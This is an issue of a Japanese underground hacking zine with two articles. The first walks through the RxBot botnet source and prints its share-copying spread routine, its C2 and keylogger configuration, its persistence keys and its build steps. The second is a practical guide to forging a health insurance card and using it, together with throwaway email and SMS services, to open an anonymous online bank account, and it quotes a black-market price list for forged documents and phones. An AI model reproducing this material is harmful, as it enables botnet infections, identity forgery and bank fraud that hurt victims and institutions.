[-]=======================================================================[-] Wizard Bible vol.54 (2012,11,4) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章: 14歳から始めるRxBot解析 ixoqie 著 ○第2章: 匿名口座の作成手口 理論編 Gry 著 ○第3章: 八万ロック解錠概論 IPUSIRON 著 ○第4章: お知らせ ○第5章: 著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: 14歳から始めるRxBot解析 --- 著者:exbqs x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  ザ・コアという映画をご存知でしょうか。その中に登場するハッカーのラッツ はボットプログラムを使って世界中のPCを掌握していました。世界中に存在する PCのあらゆるデータにアクセス可能という、言い換えれば世界中の何千人の男達 が集めたエロ画像とか集め放題なわけです。これってなんだかアングラっぽいで しょう  マルウェアの解析というとハッカージャパンなどでリバースエンジニアリング と題した記事が書かれていましたね。最近でもたまに書かれているようですが今 回はそのまま公開されているソースコードを解析しようというお話です。バイナ リファイルを解析せずにソースファイルを解析したらええやんという、そこで懐 かしいRxBot というボットプログラムを対象に、映画に登場したようなボットプ ログラムが実際にはどのようなコードとして成り立っているかを理解することが 目的です ■0x02.) 解析環境  筆者の解析した環境は以下になりますが、Visual Studioのバージョンによって ビルドするのに若干の修正を加える必要がありそうです。又、ビルドをする際に はセキュリティソフトウェアを無効にしなければなりません。私の利用している AVGではBackdoor.Generic_r.AKとして検出されました・皆さんはVMWAREやQEMUを 使い仮想PC上で動作させることをお勧めします。当たり前ですが閉じたネットワ ークで起動して思う存分にマルウェア解析を味わってください。それか使わない PCで。 ・Windows 7 Thinkpad T410i ・Visual Studio 2005 ■0x03.) ソースコードの在り処 http://www.filecrop.com/rxbot.html http://www.codeforge.cn/s/0/rxbot ■0x04.) 手始めにビルドしたいんだけどどうすればいいのか  ビルドする際に、プロジェクトのプロパティからC/C++-警告レベルを非表示に して下さい。実際にビルドすると以下のエラーが表示されたので取り除いてみま した。 ----- 1>.\rndnick.cpp(52) : error C2065: 'i' : 定義されていない識別子です。 1>.\netbios.cpp(69) : error C2065: 'i' : 定義されていない識別子です。 char *rndnickletter(char *strbuf) { srand(GetTickCount()); int i; int randlen = (rand()%3)+maxrand; // int i = 0; として宣言されていたのでスコープを抜けたstrbuf[i] = '\0'にエラー発生 for (i=0; i < randlen; i++) strbuf[i] = (rand()%26)+97; strbuf[i] = '\0'; return (strbuf); } BOOL NetConnect(char *szUsername, char *szPassword, char *szServer, EXINFO exinfo) { int i; NETRESOURCE nr; memset(&nr,0,sizeof(NETRESOURCE)); nr.lpRemoteName=szServer; nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=NULL; nr.lpProvider=NULL; // Call the WNetAddConnection2 function to make the connection, // specifying a persistent connection. DWORD dwResult = fWNetAddConnection2(&nr, (LPSTR)szPassword, (LPSTR)szUsername, 0); if(dwResult != NO_ERROR) { Sleep (10); fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return FALSE; } WCHAR wszNetbios[200], wszFilename[MAX_PATH]; char szRemoteFile[MAX_PATH], buffer[IRCLINE]; char *sharepath[]={"Admin$\\system32","c$\\winnt\\system32","c$\\windows\\system32","c","d"}; TIME_OF_DAY_INFO *tinfo=NULL; DWORD JobID; AT_INFO at_time; MultiByteToWideChar(CP_ACP,0,szServer,-1,wszNetbios,sizeof(wszNetbios)); NET_API_STATUS nStatus=fNetRemoteTOD(wszNetbios,(LPBYTE *)&tinfo); if (nStatus == NERR_Success) { if (tinfo) { //_snprintf(buffer,sizeof(buffer),"[%s]: Connected to IP: %s (%s/%s).", exploit[exinfo.exploit].name,szServer, szUsername, szPassword); //addlog(buffer); int j = 0;; // int i = 0; として宣言されていたのでスコープを抜けたsnprintf(buffer,sizeof(buffer)にエラー発生 for (i=0;i<(sizeof(sharepath) / sizeof(LPTSTR));i++) { sprintf(szRemoteFile,"%s\\%s\\%s",szServer,sharepath[i],filename); if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0) break; else if (GetLastError() == ERROR_ACCESS_DENIED) { if (_access(szRemoteFile,00) == 0) { szRemoteFile[strlen(szRemoteFile)-5] = (char)((rand()%10)+48); if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0) break; } } } if (!j) { fNetApiBufferFree(tinfo); fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return FALSE; } DWORD jobtime=tinfo->tod_elapsedt / 60; jobtime-=tinfo->tod_timezone; jobtime+=2; jobtime%=(24*60); memset(&at_time,0,sizeof(AT_INFO)); at_time.JobTime=jobtime*60000; MultiByteToWideChar(CP_ACP,0,filename,-1,wszFilename,sizeof(wszFilename)); at_time.Command=wszFilename; if ((nStatus=fNetScheduleJobAdd(wszNetbios,(BYTE *)&at_time,&JobID)) == NERR_Success) { _snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s, Share: \\%s, User: (%s/%s)",exploit[exinfo.exploit].name,szServer,sharepath[i],szUsername,((strcmp(szPassword,"")==0)?("(no password)"):(szPassword))); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); exploit[exinfo.exploit].stats++; } } } fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return TRUE; } -----  日本のサイトではインストールやビルドを動画で紹介している方は多くいませ ん。しかし、海外では割と見つかることが多いです。VMWAREも検索してみてくだ さい。 ■0x05.) ソースコードの構成について  ヘッダファイルは61個、ソースファイルは52個あります。アセンブリファイル は1個、バイナリファイルは1個、見ていただくと判るように一つのソースファイ ルに対してヘッダファイルが一対となります。なのでRxBotを遠隔から操作するた めのコマンド分だけ両者があることを推測できます。つまり 主要なコマンドの実 装はrBot Command Referenceを見ることで把握できますから何から解析すればよ いのか迷わなくて済みます。ある程度の概要も判る訳ですから解析にはもってこ いです。 http://usuarios.multimania.es/colombomariano/HTML/rxbot%20comandos.htm ----- advscan.cpp advscan.h aliaslog.cpp aliaslog.h autostart.cpp autostart.h avirus.cpp avirus.h capture.cpp capture.h cdkeys.cpp cdkeys.h crc32.cpp crc32.h crypt.cpp crypt.h doc.cpp doc.h dcom.cpp dcom.h dcom2.cpp dcom2.h ddos.spp ddos.h download.cpp download.h driveinfo.cpp driveinfo.h ehandler.cpp ehandler.h findfile.cpp findfile.h findpass.cpp findpass.h fphost.cpp fphost.h httpd.cpp httpd.h icmpflood.cpp icmpflood.h ident.cpp ident.h irc_send.cpp irc_send.h keylogger.cpp keylogger.h loaddlls.cpp loaddlls.h lsass.cpp lsass.h misc.cpp misc.h mysql.cpp mysql.h net.cpp net.h netbios.cpp netbios.h netutils.cpp netutils.h peer2peer.cpp peer2peer.h psniff.cpp psniff.h rBot.cpp rBot.h redirect.cpp redirect.h remotecmd.cpp remotecmd.h reqbuf.bin rlogind.cpp rlogind.h mdnick.cpp mdnick.h myshellcode.asm scan.cpp scan.h secure.cpp secure.h session.cpp session.h shellcode.cpp shellcode.h socks4.cpp socks4.h synflood.cpp synflood.h sysinfo.cpp sysinfo.h tcpflood.cpp tcpflood.h tcpflood2.cpp tcpflood2.h tftpd.cpp tftpd.h threads.cpp threads.h visit.cpp visit.h wildcard.cpp wildcard.h defines.h externs.h fuctions.h globals.h includes.h tcpip.h ----- ■0x06.) configs.hの内容について  なにかのソースコードを解析する時に私はまずヘッダファイルから調べていま す。そのプログラムの概要が判っておりある程度のプログラミング経験があるな らば変数名や関数名からどのような処理をしているか察しがつくからです。あい まいな部分はソースファイルを読んで裏づけをとるようにしています。なので、 まずはconfigs.hという最もな名前のヘッダファイルを読んでいきましょう。最初 から英語のコメントが書かれていたので日本語の注釈に変え幾つかは付け加えて います。 ----- // bot configuration (不気味なものはLsass) int port = 6667; // サーバポート int port2 = 6667; //       の予備用 int socks4port = 38; // Port # sock4デーモンを実行するために - CHANGE THIS!!! int tftpport = 69; // Port # tftpデーモンを実行するために int httpport = 81; // Port # httpデーモンを実行するために int rloginport = 37; // Port # rloginデーモンを実行するために BOOL topiccmd = TRUE; // /TOPIC コマンドを有効にするにはTRUEに設定する BOOL rndfilename = TRUE; // rxBotのファイル名をランダムな[a-z]に設定する BOOL AutoStart = TRUE; // 自動起動のレジストリキーを有効にする char prefix = '.'; // rxBotのコマンド接頭辞(最大一文字) int maxrand = 6; // 乱数で決めるニックネームの桁数 int nicktype = CONSTNICK; // NICKNAMEの種類 (rndnick.hを参照) BOOL nickprefix = TRUE; // NICKNAMEの接頭辞 (起動から経過した日数 & mIRC常駐者検索) #ifdef DEBUG_LOGGING // テスト目的でログファイルにプロトコルをダンプできる char logfile[]="c:\\debug.txt"; #endif #ifndef NO_CRYPT // 暗号化された文字列のみを使用するかバイナリが保護されないか!! #else // Crypt()セットアップの為これだけの使用を勧める(これは安全じゃない) char botid[] = "Tr0gBot"; // ボット名 char version[] = "[RxBot v7.6 modded by Tr0gd0r]"; // ボートバージョン名 char password[] = ""; // ボットネットに接続するパスワード char server[] = ""aenigma.gotd.org""; // 接続先のIRCサーバ char serverpass[] = ""; // パスワードが必要である場合 char channel[] = "#"; // 参加するチャンネル char chanpass[] = ""; // パスワードが必要である場合 char server2[] = ""; // 予備用 char channel2[] = ""; // char chanpass2[] = ""; // char filename[] = "winmgr.exe"; // コピー先のファイル名 char keylogfile[] = "system.txt"; // キーログ用のフアイル名 char valuename[] = "Microsoft Update Machine"; // スタートアップのエントリ名 char nickconst[] = "n-"; // ボット群ニックネーム先頭の部分 char szLocalPayloadFile[]="msconfig.dat"; // ペイロードを送出したログ名 char modeonconn[] = "-x+B"; // /MODE 一つ以上のモードにできて+/-の両方が含まれる char exploitchan[] = "#n"; // REDIRECT # EXPLOIT MESSAGE - CHANNEL char keylogchan[] = "#n"; // REDIRECT # KEYLOG MESSAGE char psniffchan[] = "#n"; // REDIRECT # PSNIFF MESSAGE char *authost[] = { // 接続先チャンネルのオペレータ権限を認証(直接指定も出来る) "*@*", }; char *versionlist[] = { // 作者でない誰かがバージョンを求めたときに応答 "mIRC v6.03 Khaled Mardam-Bey", // mIRC開発者:Khaled Mardam-Beyという名前 "mIRC v6.10 Khaled Mardam-Bey", "mIRC v6.12 Khaled Mardam-Bey", "mIRC v6.14 Khaled Mardam-Bey" }; // レジストリエントリ:スタートアップ二種, セキュリティ二種 char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"; char regkey3[]="Software\\Microsoft\\OLE"; char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa"; #endif #ifdef PLAIN_CRYPT // Encrypted Password:暗号化パスワード(kerberos) char key[16] = "2poiwsfpf3213ew"; // CHANGE THIS!!! hmmm..Do I even need this now? #endif ----- ■0x07.) maxrand = 6 ってなんだ  名前から推測できない幾つかの変数はソースファイルを読んで処理を紐解きま す。まずこの変数名をダブルクリックにより選択してすべての参照の検索をかけ てみます。すると以下の行がシンボルの検索結果として表示されるのでこの変数 がrndnick.cppに使われているあたりIRCのニックネームの処理かと予測がつくの です。 ----- rndnick.cpp(25): for (int i=0;i < maxrand;i++) -----  検索結果をダブルクリックして参照先に遷移すると以下の関数が定義されてい ます。random_nickname_const() の略語のようですからやはりニックネーム関係 です。 ----- char *rndnickconst(char *strbuf) { srand(GetTickCount()); _snprintf(strbuf, MAXNICKLEN, "%s", nickconst); for (int i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } -----  正しいコメントを付けるのに処理を紐解く必要があるのは明白なので、別個の プログラムとして作りました。この時に大切にすべきは意図を明らかにする変数 以外全て即値にしてしまうことです。例えばMAXNICKLENは28という即値を入れて います。こうすることで変数がどのように使われているか見通しがつきやすくな ります。 ----- #include #include #include char nickconst[] = "n-"; int maxrand = 6; char *rndnickconst(char *strbuf) { srand(GetTickCount()); _snprintf(strbuf, 28, "%s", nickconst); for (int i=0;i < maxrand;i++) _snprintf(strbuf, 28, "%s%i", strbuf, rand()%10); return (strbuf); } int main() { char buf[32]; int n; for(n=32; n--; ) { rndnickconst(buf); Sleep(250); printf("%s\n", buf); } } -----  以上を実行すると、n-?????? という数列の付加された文字列が表示されていき ます。  よってランダムなニックネームを付けており maxrand=6 は付加する数列の文字 数を示すことがわかります。IRCに接続した際にそれぞれのボットが名乗るニック ネームです。次に、maxrand=6直後int nicktype = CONSTNICK;を見て下さいnick type = {REALNICK,CONSTNICK,LETTERNICK,COMPNICK,COUNTRYNICK,OSNICK} の何れ かでランダムな英字列や感染したPCのロケールに置き換えることができます。 ■ 0x08.) BOOL nickprefix = TRUE ってなんだ  NICKNAMEに接頭辞として[PCが起動して経過した日数][mIRC常駐者か]という情 報を付加できます。100日以降を常駐者として数えて[days][M] になるのでオペレ ータ権限を持つ者を洗い出すために加えた設定だと考えられる。これを無効にす るにはNO_MIRCNICKを宣言する。  すると単純に100日を越える日数だけを表示できるつまり、一度も再起動してい ないPCはサーバである可能性が考えられるので感染したサーバを洗い出すための 設定だろう。ただ、100日を本当に測れるか判らない。  1日:24時間:1440分:86400秒:86400000ミリ秒は、GetTickCount()[PCが起動して経 過した時間](ミリ秒)から割って日付を算出している。しかし、GetTickCount()での 戻り値はDWORDであり32bit:4294967295 即ち、4 294 967 295 / 86 400 000 = 49.7102696 なので49日でリセットされる訳ですから100日を測ることはできませ ん。 ----- enum {REALNICK, CONSTNICK, LETTERNICK, COMPNICK, COUNTRYNICK, OSNICK}; typedef char * (*rnref)(char *strbuf); typedef struct RNICK { char name[10]; int type; rnref rnfunc; } RNICK; RNICK rnick[]={ #ifndef NO_REALNICK {"real", REALNICK, rndnickreal}, #endif {"const", CONSTNICK, rndnickconst}, {"letter", LETTERNICK, rndnickletter}, {"comp", COMPNICK, rndnickcomp}, {"country", COUNTRYNICK, rndnickcountry}, {"os", OSNICK, rndnickos} }; char *prefixnick(char *strbuf) { char tmpbuf[MAXNICKLEN]; unsigned int days = GetTickCount() / 86400000; if (days > 100) #ifndef NO_MIRCNICK _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]%s", days, ((fFindWindow("mIRC",0))?("[M]"):(""))); else sprintf(tmpbuf, ((fFindWindow("mIRC",0))?("[M]"):(""))); #else _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]", days); #endif if (strlen(tmpbuf) < 2) { strncat(tmpbuf, strbuf, sizeof(tmpbuf)); strncpy(strbuf, tmpbuf, MAXNICKLEN); } return (strbuf); }; char *rndnick(char *strbuf, int type, BOOL prefix, char *name) { for (int i=0; i < (sizeof(rnick) / sizeof(RNICK)); i++) if ((name)?(strcmp(name,rnick[i].name)==0):(rnick[i].type == type)) { rnick[i].rnfunc(strbuf); break; } return ((prefix)?(prefixnick(strbuf)):(strbuf)); } ----- ■0x09.) NO_CRYPTってなんだ  ウイルスを作成する人がいるなら解析をする人もいる訳で、幾つかの対策を施 すことは解析するより時間をかけずに済みます。NO_CRYPTが宣言されていない場 合にボットが保持する幾つかの情報は暗号化されます。プロジェクトをビルドし て実行可能ファイルが生成されたときに内部で保持されているデータセグメント 領域はメモリに展開されて実行された段階でメモリ上のその領域は暗号化されま す。ファイル自体をダンプされなければ見つかりません(winmgr.exeをダンプす る人いる?) ----- #ifndef NO_CRYPT /* この領域は暗号化される */ #else /* この領域は暗号化されず */ #endif -----  Visual Studio 2005ではconfigs.hを見た時、#else ~ #endif が有効になって いました(#ifndef NO_CRYPT ~ #elseに定義された変数群は灰色となる)。  よって、どこかでNO_CRYPT が宣言されたことがわかるのです、しかし、Ctrl+F を使い検索対象を現在のプロジェクトとして NO_CRYPTを検索しても#define NO_ CRYPTは見つからないなにかを解析する時には作者の意図を掴む必要に時々巡り合 います。  そこで、プロジェクトのプロパティからC/C++のプリプロセッサを開くと宣言さ れていました。 ----- WIN32;NDEBUG;_WINDOWS;NO_AVFW_KILL;NO_SECSYSTEM;NO_REGISTRY;NO_EHANDLER;NO_CRYPT; -----  なぜプロジェクト本体に宣言しているのか、普通に考えればdefins.hで宣言す る方が統一性があると思うのですが一先ず暗号化を有効にするにはNO_CRYPTを外 して#else ~ #endif の変数群を #ifndef ~ #else に移動させれば良いです。そ うすれば crypt.cpp - decryptstrings() によって、rBotが起動した時に暗号化 されます ----- #ifndef NO_CRYPT void decryptstrings(int authsize, int versionsize) { int i; Crypt(botid,strlen(botid),"",0); Crypt(version,strlen(version),"",0); Crypt(server,strlen(server),"",0); Crypt(serverpass,strlen(serverpass),"",0); Crypt(channel,strlen(channel),"",0); Crypt(chanpass,strlen(chanpass),"",0); Crypt(server2,strlen(server2),"",0); Crypt(channel2,strlen(channel2),"",0); Crypt(chanpass2,strlen(chanpass2),"",0); Crypt(filename,strlen(filename),"",0); Crypt(keylogfile,strlen(keylogfile),"",0); Crypt(valuename,strlen(valuename),"",0); Crypt(nickconst,strlen(nickconst),"",0); Crypt(szLocalPayloadFile,strlen(szLocalPayloadFile),"",0); Crypt(modeonconn,strlen(modeonconn),"",0); Crypt(exploitchan,strlen(exploitchan),"",0); Crypt(keylogchan,strlen(keylogchan),"",0); Crypt(psniffchan,strlen(psniffchan),"",0); for(i=0;i < authsize;i++) Crypt(authost[i],strlen(authost[i]),"",0); for(i=0;i < versionsize;i++) Crypt(versionlist[i],strlen(versionlist[i]),"",0); Crypt(regkey1,strlen(regkey1),"",0); // "Software\\Microsoft\\Windows\\CurrentVersion\\Run" Crypt(regkey2,strlen(regkey2),"",0); // "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices" Crypt(regkey3,strlen(regkey3),"",0); // "Software\\Microsoft\\OLE" Crypt(regkey4,strlen(regkey4),"",0); // "SYSTEM\\CurrentControlSet\\Contol\\Lsa" return; }; #endif -----  別個のプログラムを作り暗号化されるとはどういう事なのか垣間見るには、PE Explorerを使いファイルのデータセグメントを覗いたりタスクマネージャからプ ロセスダンプを行ってバイナリエディタで開いて実感してください。 ■0x0A.) おわりに  少し長くなりましたので残りは次回のレポートに纏めて提出します。  ありがとうございました x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第○章: 匿名口座の作成手口 理論編 --- 著者:Gry x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  はじめまして、WizardBible初投稿のGryです。  今回は一般の偽造業者は普通の銀行の口座を作成してそれを販売しますが、今 回はオンラインバンク、特に”楽天銀行”の口座などのイメージが強いため、オ ンラインバンクを匿名で作成する方法を紹介させて頂きます。  記事内容には「有印私文書偽造罪か公文書偽造罪かにあたり、1年以下の懲役 ・10万円以下の罰金が課せられる」内容がありますので、実際に真似して架空 口座を作るという実行は厳禁でお願いします。  もちろん実行し、生じたトラブルなどあらゆることに、筆者黒林檎は責任を持 ちません。 ■0x02.) 準備する物  今回準備する物は次の通りです。 ・メールアドレス ・カメラ(身分証の写真を撮影する際に使用します) ・保険証 ・公共料金の領収書 ・パソコン ・印刷機(スキャナ機能付き) ・文具とピンセット ・スマートフォン ・など  今のご時世スマートフォンの画質で十分じゃないかという人がいると思います が、スマートフォンなどを利用しますと画像にその撮影した機種の情報や日時に GPSなどあれば位置情報が付加される恐れがあります。そこで、なるべく足がつ かないようにデジタルカメラを用意しましょう。  GPSも内蔵してない安物のおもちゃ程度のデジタルカメラで結構です。Yahooオ ークションなどで購入すればよいと思います。 ■0x03.) 作成手順  架空口座の作成手順の大まかな流れは次のようになります。 1:偽造身分証の作成 2:基礎.土台のメールアドレスの作成 3:メインメールアドレスの作成 4:オンラインバンクの作成  とてもシンプルです(笑)。 ■0x04.) 身分証を偽造する  今回偽造する対象は保険証です。  デジタルカメラの撮影なので、偽造が対象荒くても問題ありません。  まず一番重要なので保険証番号です。これの偽造をしないとすぐに足が着きま す。  「保険証番号」→「住所と氏名」の順で偽造すれば問題はないです。もちろん 生年月日の偽造も氏名などと同じ手順です。  保険証の書体は明朝体なのでWindowsでもMacでもよいですが、明朝体で偽造す る文字をエディターに書き込んでください。 氏名 黒 林檎 ... 住 所   世田谷区=~ といった具合で「氏名」「住所」は割合して頂いて大丈夫です。  「番号」「氏名」「世帯主氏名」「住所」「保険者番号.名称」のように偽造 したい情報をエディタに明朝体で書き込んで、それを印刷してください。  なお、「世田谷区」より「世 田 谷 区」と入力することをおすすめします。  これを印刷し終われば一字一字綺麗な四角形などで(形は小さければどうでも よいですが)切っておいてください。  では次に保険証をスキャナで取り込んで印刷してください。  保険証の印刷が終わりましたら、先ほどエディタで作った文字をきれいに貼付 けてください。  終ればそれをスキャナに取り込み印刷して、それをおおよそなカード型にカッ トして適当なカード(ポイントカードでもなんでも平面のサイズが似ているもの ならよいです)に貼付けてください。  後は後ろ面を普通にスキャナ→印刷というようにして先ほどと同じ要領でして ください。張り付けがうまく終れば、きれいにカットして保険証は完成です。  追記として、フォトショップを利用する場合を紹介します。 1:写真編集モードを起動し切り取る部分がある保険証とそれを合成する保険証を 両方開きます。 2:偽造したい部分の素材(緑色の部分など)のほうでマグネット選択やクイック 選択を使用し偽造部分を選択します。 3:[編集]のコピーを選択します。 4:偽装合成する保険証のウインドウをクリックしアクティブにします。 5:編集メニューペースを使用します。 6:合成されたら[移動ツール]を使用し位置やサイズ調節を行います。 7:後は偽造する文字を明朝体で記入するだけです。  後は前述に述べた通り印刷しカットしカードにするだけです。 ■0x05.) メールアドレスの作成  足が付きやすいとしたらここもそうだと思います。  今回は...http://www.supermailer.jp/というサイトで、最初に土台 のメールアドレスを作成してinter7などのフリーメールを作成してか らでもよいですが、メインのGmailを作成します。  ここで説明は省きますが、プロキシを利用することが前提です。 ■0x06.) オンラインバンクの作成  次にメインのオンラインバンクの作成です。  これはとても簡単です。  正規の作り方がインターネットで検索すれば出てきますので割合さ せて頂きます。  一応参考URLを紹介します。 http://www.casinoonline.jp/taiken3/archives/2012/03/post_251.php  正規と同じ方法で作るため、これを同じ方法で問題ありません。  唯一違うのは偽造身分証を使用する所だけです。  では”認証”をしましょう。  メールで送信する形ですね。そのために先ほど作成したGmailを利用します。  最初に作成したアドレスは画像送信ができないので、画像送信ができるGmail を作り、踏み台にします。  ではなんの機能もない低画質なデジタルカメラを使用して、保険証(偽)の写 真を撮り、ネッテラーで指定されたアドレスに送信してください。 ■0x07.) 電話番号認証  これにはAndroidアプリ(筆者の環境はAndroidです)であるHeyWireを利用しま す。  HeyWireは認証用SMS用番号受信アプリです。  作成手順は簡易なので割合します。  補足として、プリペイト携帯についての情報を紹介します。  本物の携帯電話を使用したい場合は、プリペイド携帯を用いるとよいでしょう。 プリペイト携帯はインターネットで購入する事ができます。もちろん違法です。  少しググれば掲示板などで2万円出せば購入する事ができますし、少し割高です が今その業界をで一番(?)有名なサイトだと8万円で購入できます。  そのサイトの内容を以下に紹介します。 ----- ★保険証:12万円、スキャン用原本必要 ★住民票:20万円、スキャン用原本必要 ★印鑑証明:20万円、スキャン用原本必要 ★印鑑複製:20万円、スキャン用本体必要 ★印影から印鑑本体製作:20万円 ... 開通済み端末類↓↓↓ ★SIMカード(FOMA対応)b-mobileSIM U300:6万円(6ヶ月使い放題BM-U300-6M S)、8万円(1年間使い放題BM-U300-12MS)。 ★プリペイド携帯(softbank):新品8万円、中古6万円。永久使用可能。携帯は郵 送取引のみ。携帯は他の書類を注文した方のみ同時購入可能です。携帯のみの購 入はできません。携帯のみを繰り返し注文して来る人間は詐欺師の可能性があり、 当店は詐欺師が大嫌嫌いであるためです。 ★プリペイド式データ通信端末(B-mobile)もしもしDoccicaドッチーカIPフォン 付:新品6万円。永久使用可能。 ★プリペイド式データ通信端末(B-mobile)Doccica U300:新品8万円。永久使用 可能。※おすすめ商品 ★シムフリーWiFi ルータ b-mobile BM-MF30:9万円(開通済みSIMカードBM-U30 0-6MS搭載) ★シムフリースマートフォン b-mobile IDEOS BM-SWU300:12万円(開通済みSIM カードBM-SWU300-7M搭載) 携帯は郵送取引のみ。 -----  このように堂々と販売されております(笑)。  こういうサイトを利用すれば手に入れるのは容易なようですね。  では電話認証が終了すれば口座の作成は完了になります。 ■0x08.) おわりに  今回公共料金の偽造を説明していません。実際に基本的なフォトショップでの 合成方法を述べたので、それを応用すればたやすく作成することができます。  繰り返しになりますが、もちろん今回照会した方法の悪用は厳禁です。  また、掲示板などで出回っている口座の売買は本当に危険です。  詐欺用の入金先として、ネットで仕入れた不正口座を利用した場合、お金があ る日なくなる場合があります。これは詐欺用で購入したAさんに売ったBさんが、 Aさんに口座を販売する前に「代理人カード」を作成して、Aさんがある程度お金 を貯めた頃に一気にお金を奪ったからです。  詐欺用の入金先としてその口座を利用していなくても、購入者にも非があるわ けですから、おそらく購入者は泣き寝入りするしかないでしょう。  そのため、安易にそういう物に手を出すことは辞めておいた方がいいです。と 一応実行したい人に忠告しておきます(笑)。 ■0x09.)まとめれなかった情報まとめ  HackingネタとしてはXSSスキャナーしたい、ローカル環境に目を絞れば素晴ら しいツールが多いので。  ローカル環境向けツールとして精度が高い理由を考えてみえばリモート実行じ ゃない分悪用出来ないのでハッカー魂うんぬんが関係ありそうだとかないだとか ...。  匿名口座理論としてもやっぱりインターネット経由はtorブラウザを使えば初心 者でも串を利用した匿名アクセスが可能になりますのでそこらへんは大丈夫だと 思いますが、携帯電話関係の入手など(書くの面倒になってHeyWireでいけるアル よ!って言っちゃったが)まぁ色々と淡々と語っていく。  実行していないのであしからず!!  ぶっちゃけインターネットバンクを利用する理由ですが、保険証の偽造が甘い ので銀行にドヤ顔で持って行っても通報されて終わります。  今回は上質紙というかプリント紙なのですがカラー用?のテカテカしてる奴だと 反射率とか本物のに似てるなぁと思ったのでそれで作成すると10%ぐらい似てきそ う。  っていうか口座とか作る際、住所欄普通いりますよね。  特にネットバンクでクレジットカード作成するとそのカード送付先として必要 になる。  そういう事もBibleでは端折って書いてたのですが、私書籍を利用し、私書籍に 合わした内容に偽造する事でそこらへんはOKです。  感がいい人だと解ると思いますが、この際馬鹿はバレます(間違いない)  ..私書籍を安全に借りる方法なんて私も知らないので聞かないでください。  1つ知的好奇心旺盛な方にヒントをあげるならば左上の保険証番号、そして一 度郵便局で局留めを体験してみてください。  そんなわけでたらたら書いて行っていますが、ここで”私書籍に合わせた保険 証”と"私書籍(拠点)"がこちらの手札になりました。  保険証の偽造に質をあげる方法ですが、Bibleでは筆記体が明朝帯であるとし か述べていませんでした、偽造手口も曖昧な物。  要するにあれだとクオリティが高いとは言えない、しかも無理やり消しちゃう と不自然。なので...。  アドビ システムズからリリースされた『Adobe Photoshop Elements 9(フォト ショップエレメンツ 9)』の凄い機能を紹介。以前に紹介した『Adobe Photoshop CS5』の記事(http://getnews.jp/archives/59049)ではお花畑に立っている男 性を瞬時に消す『コンテンツに応じる機能』を紹介し話題となった。を利用する 事で綺麗に文字を消す事が出来るはずです。  実際にネットバンクで作成手口は理論的にはWizardBibleの方法で行けるのです が、今回は私もかなり不自然な方法を世へ放流してしまった感があるので勉強し ました。  これは過去に実際にやられていた方法なのですが...、銀行口座を作成(日本に 支店がある銀行)でメールオーダーサービスが利用できたりします。  ..ってなんだよって言われたらこれです。  メールオーダー申込書に必要事項をご記入いただき、返信用封筒にてご返送い ただくだけで、ご預金、ローン、各種サービスのお申込ができます。  次にご紹介する商品・サービスでメールオーダーサービスがご利用になれます。 ご希望の商品・サービスをお選びください。ご指定の住所にメールオーダー申込 書をご郵送いたします(ご郵送先は日本国内に限らせていただきます)。  要するにリモート作成が可能なのです、これには弱点があり窓口決済が利用出 来ないという事。要するにリモート作成した口座はadmin権限がなく出来ることが admin口座に比べてかなり限られて来るという事。  ...そろそろ自分でもどこまで書いてどうまとめるか解らなくなってきました..(笑)  まぁここらへんで携帯電話とかないから作成出来ない事態とかあったりしちゃ うんですがそこまで私は知りません。って言ったらWizardBibleに二の舞...。  WizardBibleでももうした通り携帯電話は購入出来ます。(違法ですが) (しかし数時間後業者が契約破棄で通信が止められるのが落ちというのが80%占め てますが。)  それいっちゃうと口座も購入できちゃうのですが…。  しかし覚えていてほしい(今回はこれがメインなのですw)  購入する場合、相手は犯罪者です。  勿論購入した時点で貴方も犯罪者になるわけです。  正直未成年じゃないなら口座なんか自分の物で作れば良い、ノーリスクです。  